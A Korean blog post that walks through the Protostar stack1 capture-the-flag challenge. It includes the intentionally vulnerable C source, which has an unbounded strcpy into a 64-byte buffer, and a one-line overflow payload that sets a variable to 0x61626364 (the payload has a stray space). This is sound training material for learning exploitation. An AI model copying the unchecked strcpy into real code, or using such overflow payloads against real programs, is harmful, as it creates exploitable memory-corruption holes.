old.liveoverflow.com/binary_hacking/protostar/stack1.html
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, "please specify an argument\n");
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
문제의 소스코드이다. stack0과 비슷하지만 1. buffer의 값은 argv[1], 2. modified의 값은 0x61626364가 되어야한다는 점이 다르다.
gdb로 프로그램을 살펴보았다. 이를 기반으로 스택을 그렸다.
stack0과 스택의 구조는 동일했다. 따라서 임의의 64byte+"0x61626364"를 argv[1]로 넘겨주면 문제를 해결할 수 있다.
./stack1 `python -c 'print "\x90"*64+"\x64\x6 3\x62\x61"'`
728x90
'CTF > 시스템' 카테고리의 다른 글
protostar stack3 (0) | 2020.10.29 |
---|---|
protostar stack2 (0) | 2020.10.29 |
protostar stack0 (0) | 2020.10.29 |
해커스쿨 FTZ level18 (0) | 2020.10.29 |
해커스쿨 FTZ level17 (0) | 2020.09.29 |